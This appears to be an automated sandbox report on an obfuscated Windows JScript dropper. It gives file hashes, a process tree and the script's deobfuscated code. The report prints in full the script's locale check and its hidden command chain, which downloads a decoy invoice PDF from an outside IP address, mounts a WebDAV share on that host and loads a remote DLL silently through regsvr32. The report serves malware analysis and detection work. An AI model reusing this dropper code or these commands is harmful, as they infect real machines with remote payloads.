SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16477), with CRLF line terminators
Entropy (8bit):	4.920178493806502
TrID:
File name:	256361061998227470.js
File size:	20'055 bytes
MD5:	a8754fe1d10860593989c9eeb6e17d80
SHA1:	05ebbacb3eed5ef01e381242d2e31c9a49aa4d5e
SHA256:	c9054c75fe2678cb6d0172d0e8150252a334b15a160bcebabdb23e85512a0462
SHA512:	cfdf16a3857caabe6157355727f311958a9a444a5f46aee21b74c9d0b76fa4cedacc5a00dbac9b05aaf5cd853d8e0b7995b6a819a2de2ef50015d8a87133132f
SSDEEP:	192:7W+lCvxbgO4HqD5ynfKKqJNvQzH2TiRfVdilfIoZVg1K/3WxNvR3D2v6X98Wi1H7:tHOxXvQzH2TiyISawXFBDv2+
TLSH:	869221C8CC73835744D96BF80DE920F680B190CED9706A9B1891B4C1BB94B6CD5E39BE
File Content Preview:	function wpwfr(){omafys=[1031,3079,5127,4103,2055,3072];var tkfrd=this[gjlmwtmon+tliyphq+bfijwurr+kocigy+jfnddvgyn+mjsuhn+nzrey+blnrlts](this[kzjwa+hawrp+csatv+bfijwurr+dlivm+gjlmwtmon+blnrlts][egvypunpq+bfijwurr+jfnddvgyn+tliyphq+blnrlts+jfnddvgyn+gtrjmv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	16:53:48
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js"
Imagebase:	0x7ff7d1870000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:53:48
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll
Imagebase:	0x7ff682d70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:53:49
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:53:49
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:53:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:53:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff682d70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:53:54
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7fddc0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:53:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:53:54
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:53:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1752,i,4128559999269423684,7592879451884856046,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wpwfr() {	wpwfr() ➔ undefined
1	omafys = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tkfrd = this[gjlmwtmon + tliyphq + bfijwurr + kocigy + jfnddvgyn + mjsuhn + nzrey + blnrlts] ( this[kzjwa + hawrp + csatv + bfijwurr + dlivm + gjlmwtmon + blnrlts][egvypunpq + bfijwurr + jfnddvgyn + tliyphq + blnrlts + jfnddvgyn + gtrjmvelp + ctyngtghr + gvjzhv + jfnddvgyn + csatv + blnrlts] ( kzjwa + hawrp + csatv + bfijwurr + dlivm + gjlmwtmon + blnrlts + mjihcitvy + hawrp + kpzjk + jfnddvgyn + zfateok + zfateok ) [dkddd + jfnddvgyn + ynxkbk + dkddd + jfnddvgyn + tliyphq + xxqynrjh] ( qqkmmow + jdzlnjia + gukqmvs + vfxgz + tzmugwb + egvypunpq + dfpker + dkddd + dkddd + gukqmvs + rvnqldcl + teoifqpa + tzmugwb + dfpker + hawrp + gukqmvs + dkddd + eeqrxdt + egvypunpq + kluvipajq + nzrey + blnrlts + bfijwurr + kluvipajq + zfateok + nmifhilp + vxvnpnoog + tliyphq + nzrey + jfnddvgyn + zfateok + eeqrxdt + mjsuhn + nzrey + blnrlts + jfnddvgyn + bfijwurr + nzrey + tliyphq + blnrlts + dlivm + kluvipajq + nzrey + tliyphq + zfateok + eeqrxdt + rhtiotyij + kluvipajq + csatv + tliyphq + zfateok + jfnddvgyn ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( oafkcmpox = 0 ; oafkcmpox < omafys[zfateok + jfnddvgyn + nzrey + ynxkbk + blnrlts + kpzjk] ; ++ oafkcmpox )
4	{
5	if ( tkfrd == omafys[oafkcmpox] )
6	{
7	tkfrd = true;
8	break ;
9	}
10	}
11	if ( tkfrd !== true )
12	this[kzjwa + hawrp + csatv + bfijwurr + dlivm + gjlmwtmon + blnrlts][dyvqaq + hfvknqb + dlivm + blnrlts] ( );
13	this[kzjwa + hawrp + csatv + bfijwurr + dlivm + gjlmwtmon + blnrlts][egvypunpq + bfijwurr + jfnddvgyn + tliyphq + blnrlts + jfnddvgyn + gtrjmvelp + ctyngtghr + gvjzhv + jfnddvgyn + csatv + blnrlts] ( kzjwa + hawrp + csatv + bfijwurr + dlivm + gjlmwtmon + blnrlts + mjihcitvy + hawrp + kpzjk + jfnddvgyn + zfateok + zfateok ) [bfijwurr + hfvknqb + nzrey] ( csatv + qiajxl + xxqynrjh + nmifhilp + eepbwulcq + csatv + nmifhilp + gjlmwtmon + kluvipajq + yxppoakfx + jfnddvgyn + bfijwurr + kocigy + kpzjk + jfnddvgyn + zfateok + zfateok + mjihcitvy + jfnddvgyn + pybtjfl + jfnddvgyn + nmifhilp + aaqjqdajg + egvypunpq + kluvipajq + qiajxl + qiajxl + tliyphq + nzrey + xxqynrjh + nmifhilp + gtkkuscm + mjsuhn + nzrey + qqwcvjiv + kluvipajq + cacukb + jfnddvgyn + aaqjqdajg + kzjwa + jfnddvgyn + ctyngtghr + dkddd + jfnddvgyn + ugalmr + hfvknqb + jfnddvgyn + kocigy + blnrlts + nmifhilp + aaqjqdajg + gtrjmvelp + hfvknqb + blnrlts + cwwfayptm + dlivm + zfateok + jfnddvgyn + nmifhilp + izdhzqcsv + blnrlts + jfnddvgyn + qiajxl + gjlmwtmon + izdhzqcsv + eeqrxdt + dlivm + nzrey + qqwcvjiv + kluvipajq + dlivm + csatv + jfnddvgyn + mjihcitvy + gjlmwtmon + xxqynrjh + yogefsoto + nmifhilp + kpzjk + blnrlts + blnrlts + gjlmwtmon + sllll + eepbwulcq + eepbwulcq + ozpszcras + btybr + qgqaw + mjihcitvy + ozpszcras + sxafl + qgqaw + mjihcitvy + ozpszcras + mjihcitvy + znopi + fntfk + pyqtup + eepbwulcq + dlivm + nzrey + qqwcvjiv + kluvipajq + dlivm + csatv + jfnddvgyn + mjihcitvy + gjlmwtmon + kpzjk + gjlmwtmon + gtkkuscm + mcavh + mcavh + kocigy + blnrlts + tliyphq + bfijwurr + blnrlts + nmifhilp + izdhzqcsv + blnrlts + jfnddvgyn + qiajxl + gjlmwtmon + izdhzqcsv + eeqrxdt + dlivm + nzrey + qqwcvjiv + kluvipajq + dlivm + csatv + jfnddvgyn + mjihcitvy + gjlmwtmon + xxqynrjh + yogefsoto + mcavh + mcavh + csatv + qiajxl + xxqynrjh + nmifhilp + eepbwulcq + csatv + nmifhilp + nzrey + jfnddvgyn + blnrlts + nmifhilp + hfvknqb + kocigy + jfnddvgyn + nmifhilp + eeqrxdt + eeqrxdt + ozpszcras + btybr + qgqaw + mjihcitvy + ozpszcras + sxafl + qgqaw + mjihcitvy + ozpszcras + mjihcitvy + znopi + fntfk + pyqtup + ujhxdsdii + rpkoeiywf + rpkoeiywf + rpkoeiywf + rpkoeiywf + eeqrxdt + xxqynrjh + tliyphq + qqwcvjiv + yxppoakfx + yxppoakfx + yxppoakfx + bfijwurr + kluvipajq + kluvipajq + blnrlts + eeqrxdt + mcavh + mcavh + csatv + qiajxl + xxqynrjh + nmifhilp + eepbwulcq + csatv + nmifhilp + bfijwurr + jfnddvgyn + ynxkbk + kocigy + qqwcvjiv + bfijwurr + qgqaw + znopi + nmifhilp + eepbwulcq + kocigy + nmifhilp + eeqrxdt + eeqrxdt + ozpszcras + btybr + qgqaw + mjihcitvy + ozpszcras + sxafl + qgqaw + mjihcitvy + ozpszcras + mjihcitvy + znopi + fntfk + pyqtup + ujhxdsdii + rpkoeiywf + rpkoeiywf + rpkoeiywf + rpkoeiywf + eeqrxdt + xxqynrjh + tliyphq + qqwcvjiv + yxppoakfx + yxppoakfx + yxppoakfx + bfijwurr + kluvipajq + kluvipajq + blnrlts + eeqrxdt + ozpszcras + rqwyhb + rpkoeiywf + rqwyhb + btybr + pyqtup + rpkoeiywf + pyqtup + rpkoeiywf + znopi + btybr + rpkoeiywf + btybr + btybr + mjihcitvy + xxqynrjh + zfateok + zfateok, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll",0,false) ➔ 0
14	}
15	kpzjk = "d";
16	kpzjk = "d";
17	kpzjk = "M";
18	kpzjk = "g";
19	kpzjk = "J";
20	kpzjk = "v";
21	kpzjk = "y";
22	kpzjk = "G";
23	kpzjk = "t";
24	kpzjk = "S";
25	kpzjk = "r";
26	kpzjk = "u";
27	kpzjk = "Q";
28	kpzjk = "n";
29	kpzjk = "h";
30	kpzjk = "B";
31	kpzjk = "E";
32	kpzjk = "n";
33	kpzjk = "z";
34	kpzjk = "b";
35	kpzjk = "v";
36	kpzjk = "P";
37	kpzjk = "H";
38	kpzjk = "h";
39	mjihcitvy = "q";
40	mjihcitvy = "o";
41	mjihcitvy = "x";
42	mjihcitvy = "v";
43	mjihcitvy = "O";
44	mjihcitvy = "v";
45	mjihcitvy = "O";
46	mjihcitvy = "S";
47	mjihcitvy = "i";
48	mjihcitvy = "j";
49	mjihcitvy = "B";
50	mjihcitvy = "e";
51	mjihcitvy = "C";
52	mjihcitvy = "I";
53	mjihcitvy = "G";
54	mjihcitvy = "F";
55	mjihcitvy = "P";
56	mjihcitvy = "D";
57	mjihcitvy = "c";
58	mjihcitvy = "X";
59	mjihcitvy = "V";
60	mjihcitvy = "g";
61	mjihcitvy = "j";
62	mjihcitvy = "s";
63	mjihcitvy = "t";
64	mjihcitvy = "H";
65	mjihcitvy = "A";
66	mjihcitvy = "S";
67	mjihcitvy = "c";
68	mjihcitvy = "v";
69	mjihcitvy = "q";
70	mjihcitvy = "B";
71	mjihcitvy = "d";
72	mjihcitvy = "d";
73	mjihcitvy = "G";
74	mjihcitvy = "H";
75	mjihcitvy = "d";
76	mjihcitvy = "Z";
77	mjihcitvy = "C";
78	mjihcitvy = "i";
79	mjihcitvy = "b";
80	mjihcitvy = "a";
81	mjihcitvy = "Y";
82	mjihcitvy = ".";
83	fntfk = "N";
84	fntfk = "f";
85	fntfk = "a";
86	fntfk = "P";
87	fntfk = "f";
88	fntfk = "i";
89	fntfk = "h";
90	fntfk = "f";
91	fntfk = "k";
92	fntfk = "s";
93	fntfk = "Q";
94	fntfk = "x";
95	fntfk = "F";
96	fntfk = "R";
97	fntfk = "E";
98	fntfk = "F";
99	fntfk = "k";
100	fntfk = "W";
101	fntfk = "p";
102	fntfk = "D";
103	fntfk = "s";
104	fntfk = "f";
105	fntfk = "O";
106	fntfk = "o";
107	fntfk = "O";
108	fntfk = "g";
109	fntfk = "u";
110	fntfk = "y";
111	fntfk = "z";
112	fntfk = "o";
113	fntfk = "f";
114	fntfk = "R";
115	fntfk = "j";
116	fntfk = "h";
117	fntfk = "E";
118	fntfk = "T";
119	fntfk = "A";
120	fntfk = "e";
121	fntfk = "V";
122	fntfk = "j";
123	fntfk = "E";
124	fntfk = "C";
125	fntfk = "o";
126	fntfk = "r";
127	fntfk = "0";
128	qgqaw = "W";
129	qgqaw = "d";
130	qgqaw = "H";
131	qgqaw = "M";
132	qgqaw = "Q";
133	qgqaw = "c";
134	qgqaw = "D";
135	qgqaw = "K";
136	qgqaw = "x";
137	qgqaw = "f";
138	qgqaw = "P";
139	qgqaw = "j";
140	qgqaw = "A";
141	qgqaw = "N";
142	qgqaw = "T";
143	qgqaw = "P";
144	qgqaw = "k";
145	qgqaw = "X";
146	qgqaw = "S";
147	qgqaw = "X";
148	qgqaw = "l";
149	qgqaw = "r";
150	qgqaw = "s";
151	qgqaw = "G";
152	qgqaw = "H";
153	qgqaw = "P";
154	qgqaw = "E";
155	qgqaw = "y";
156	qgqaw = "F";
157	qgqaw = "F";
158	qgqaw = "R";
159	qgqaw = "3";
160	nmifhilp = "Q";
161	nmifhilp = "V";
162	nmifhilp = "t";
163	nmifhilp = "r";
164	nmifhilp = "O";
165	nmifhilp = "h";
166	nmifhilp = "C";
167	nmifhilp = "x";
168	nmifhilp = "m";
169	nmifhilp = "N";
170	nmifhilp = "l";
171	nmifhilp = "q";
172	nmifhilp = "D";
173	nmifhilp = "l";
174	nmifhilp = "C";
175	nmifhilp = "l";
176	nmifhilp = "J";
177	nmifhilp = "k";
178	nmifhilp = "a";
179	nmifhilp = "H";
180	nmifhilp = "W";
181	nmifhilp = "x";
182	nmifhilp = "P";
183	nmifhilp = "L";
184	nmifhilp = "H";
185	nmifhilp = "d";
186	nmifhilp = "p";
187	nmifhilp = "S";
188	nmifhilp = "k";
189	nmifhilp = "L";
190	nmifhilp = "U";
191	nmifhilp = "b";
192	nmifhilp = "j";
193	nmifhilp = "w";
194	nmifhilp = " ";
195	ynxkbk = "a";
196	ynxkbk = "c";
197	ynxkbk = "B";
198	ynxkbk = "y";
199	ynxkbk = "f";
200	ynxkbk = "e";
201	ynxkbk = "o";
202	ynxkbk = "E";
203	ynxkbk = "l";
204	ynxkbk = "A";
205	ynxkbk = "p";
206	ynxkbk = "N";
207	ynxkbk = "x";
208	ynxkbk = "I";
209	ynxkbk = "V";
210	ynxkbk = "a";
211	ynxkbk = "I";
212	ynxkbk = "d";
213	ynxkbk = "P";
214	ynxkbk = "J";
215	ynxkbk = "P";
216	ynxkbk = "E";
217	ynxkbk = "c";
218	ynxkbk = "U";
219	ynxkbk = "A";
220	ynxkbk = "b";
221	ynxkbk = "R";
222	ynxkbk = "y";
223	ynxkbk = "Z";
224	ynxkbk = "a";
225	ynxkbk = "u";
226	ynxkbk = "X";
227	ynxkbk = "X";
228	ynxkbk = "X";
229	ynxkbk = "C";
230	ynxkbk = "e";
231	ynxkbk = "g";
232	nzrey = "f";
233	nzrey = "v";
234	nzrey = "I";
235	nzrey = "P";
236	nzrey = "G";
237	nzrey = "y";
238	nzrey = "P";
239	nzrey = "C";
240	nzrey = "i";
241	nzrey = "o";
242	nzrey = "t";
243	nzrey = "C";
244	nzrey = "Q";
245	nzrey = "f";
246	nzrey = "U";
247	nzrey = "V";
248	nzrey = "d";
249	nzrey = "o";
250	nzrey = "R";
251	nzrey = "p";
252	nzrey = "O";
253	nzrey = "t";
254	nzrey = "V";
255	nzrey = "j";
256	nzrey = "F";
257	nzrey = "w";
258	nzrey = "d";
259	nzrey = "c";
260	nzrey = "J";
261	nzrey = "e";
262	nzrey = "z";
263	nzrey = "F";
264	nzrey = "A";
265	nzrey = "D";
266	nzrey = "M";
267	nzrey = "n";
268	ugalmr = "d";
269	ugalmr = "o";
270	ugalmr = "b";
271	ugalmr = "b";
272	ugalmr = "I";
273	ugalmr = "o";
274	ugalmr = "g";
275	ugalmr = "W";
276	ugalmr = "R";
277	ugalmr = "S";
278	ugalmr = "m";
279	ugalmr = "n";
280	ugalmr = "C";
281	ugalmr = "g";
282	ugalmr = "u";
283	ugalmr = "U";
284	ugalmr = "s";
285	ugalmr = "S";
286	ugalmr = "D";
287	ugalmr = "m";
288	ugalmr = "R";
289	ugalmr = "K";
290	ugalmr = "x";
291	ugalmr = "O";
292	ugalmr = "e";
293	ugalmr = "K";
294	ugalmr = "F";
295	ugalmr = "o";
296	ugalmr = "M";
297	ugalmr = "n";
298	ugalmr = "W";
299	ugalmr = "V";
300	ugalmr = "T";
301	ugalmr = "m";
302	ugalmr = "t";
303	ugalmr = "c";
304	ugalmr = "X";
305	ugalmr = "i";
306	ugalmr = "R";
307	ugalmr = "S";
308	ugalmr = "u";
309	ugalmr = "u";
310	ugalmr = "q";
311	zfateok = "l";
312	rpkoeiywf = "i";
313	rpkoeiywf = "u";
314	rpkoeiywf = "T";
315	rpkoeiywf = "a";
316	rpkoeiywf = "O";
317	rpkoeiywf = "o";
318	rpkoeiywf = "s";
319	rpkoeiywf = "F";
320	rpkoeiywf = "Y";
321	rpkoeiywf = "T";
322	rpkoeiywf = "W";
323	rpkoeiywf = "C";
324	rpkoeiywf = "R";
325	rpkoeiywf = "8";
326	sxafl = "q";
327	sxafl = "P";
328	sxafl = "f";
329	sxafl = "v";
330	sxafl = "A";
331	sxafl = "j";
332	sxafl = "Q";
333	sxafl = "i";
334	sxafl = "q";
335	sxafl = "V";
336	sxafl = "Q";
337	sxafl = "J";
338	sxafl = "t";
339	sxafl = "k";
340	sxafl = "e";
341	sxafl = "g";
342	sxafl = "N";
343	sxafl = "Q";
344	sxafl = "k";
345	sxafl = "d";
346	sxafl = "f";
347	sxafl = "r";
348	sxafl = "S";
349	sxafl = "O";
350	sxafl = "M";
351	sxafl = "P";
352	sxafl = "t";
353	sxafl = "H";
354	sxafl = "G";
355	sxafl = "a";
356	sxafl = "q";
357	sxafl = "t";
358	sxafl = "q";
359	sxafl = "q";
360	sxafl = "X";
361	sxafl = "x";
362	sxafl = "F";
363	sxafl = "f";
364	sxafl = "g";
365	sxafl = "4";
366	tliyphq = "j";
367	tliyphq = "L";
368	tliyphq = "m";
369	tliyphq = "Q";
370	tliyphq = "K";
371	tliyphq = "o";
372	tliyphq = "R";
373	tliyphq = "Y";
374	tliyphq = "P";
375	tliyphq = "U";
376	tliyphq = "I";
377	tliyphq = "C";
378	tliyphq = "A";
379	tliyphq = "f";
380	tliyphq = "D";
381	tliyphq = "D";
382	tliyphq = "P";
383	tliyphq = "v";
384	tliyphq = "j";
385	tliyphq = "N";
386	tliyphq = "X";
387	tliyphq = "q";
388	tliyphq = "J";
389	tliyphq = "T";
390	tliyphq = "j";
391	tliyphq = "q";
392	tliyphq = "W";
393	tliyphq = "r";
394	tliyphq = "J";
395	tliyphq = "V";
396	tliyphq = "O";
397	tliyphq = "G";
398	tliyphq = "w";
399	tliyphq = "a";
400	tliyphq = "l";
401	tliyphq = "Q";
402	tliyphq = "C";
403	tliyphq = "q";
404	tliyphq = "y";
405	tliyphq = "J";
406	tliyphq = "F";
407	tliyphq = "N";
408	tliyphq = "a";
409	aaqjqdajg = "T";
410	aaqjqdajg = "K";
411	aaqjqdajg = "K";
412	aaqjqdajg = "Q";
413	aaqjqdajg = "f";
414	aaqjqdajg = "n";
415	aaqjqdajg = "m";
416	aaqjqdajg = "Y";
417	aaqjqdajg = "O";
418	aaqjqdajg = "u";
419	aaqjqdajg = "O";
420	aaqjqdajg = "N";
421	aaqjqdajg = "K";
422	aaqjqdajg = "q";
423	aaqjqdajg = "u";
424	aaqjqdajg = "K";
425	aaqjqdajg = "S";
426	aaqjqdajg = "f";
427	aaqjqdajg = "-";
428	vxvnpnoog = "A";
429	vxvnpnoog = "B";
430	vxvnpnoog = "Y";
431	vxvnpnoog = "M";
432	vxvnpnoog = "C";
433	vxvnpnoog = "i";
434	vxvnpnoog = "s";
435	vxvnpnoog = "z";
436	vxvnpnoog = "A";
437	vxvnpnoog = "h";
438	vxvnpnoog = "g";
439	vxvnpnoog = "h";
440	vxvnpnoog = "P";
441	gjlmwtmon = "n";
442	gjlmwtmon = "Y";
443	gjlmwtmon = "g";
444	gjlmwtmon = "W";
445	gjlmwtmon = "i";
446	gjlmwtmon = "Y";
447	gjlmwtmon = "i";
448	gjlmwtmon = "n";
449	gjlmwtmon = "g";
450	gjlmwtmon = "x";
451	gjlmwtmon = "K";
452	gjlmwtmon = "C";
453	gjlmwtmon = "R";
454	gjlmwtmon = "n";
455	gjlmwtmon = "g";
456	gjlmwtmon = "M";
457	gjlmwtmon = "r";
458	gjlmwtmon = "k";
459	gjlmwtmon = "E";
460	gjlmwtmon = "O";
461	gjlmwtmon = "d";
462	gjlmwtmon = "l";
463	gjlmwtmon = "B";
464	gjlmwtmon = "I";
465	gjlmwtmon = "T";
466	gjlmwtmon = "s";
467	gjlmwtmon = "W";
468	gjlmwtmon = "q";
469	gjlmwtmon = "z";
470	gjlmwtmon = "N";
471	gjlmwtmon = "Q";
472	gjlmwtmon = "b";
473	gjlmwtmon = "m";
474	gjlmwtmon = "I";
475	gjlmwtmon = "P";
476	gjlmwtmon = "p";
477	dyvqaq = "c";
478	dyvqaq = "c";
479	dyvqaq = "I";
480	dyvqaq = "N";
481	dyvqaq = "g";
482	dyvqaq = "h";
483	dyvqaq = "X";
484	dyvqaq = "G";
485	dyvqaq = "a";
486	dyvqaq = "C";
487	dyvqaq = "u";
488	dyvqaq = "H";
489	dyvqaq = "r";
490	dyvqaq = "Q";
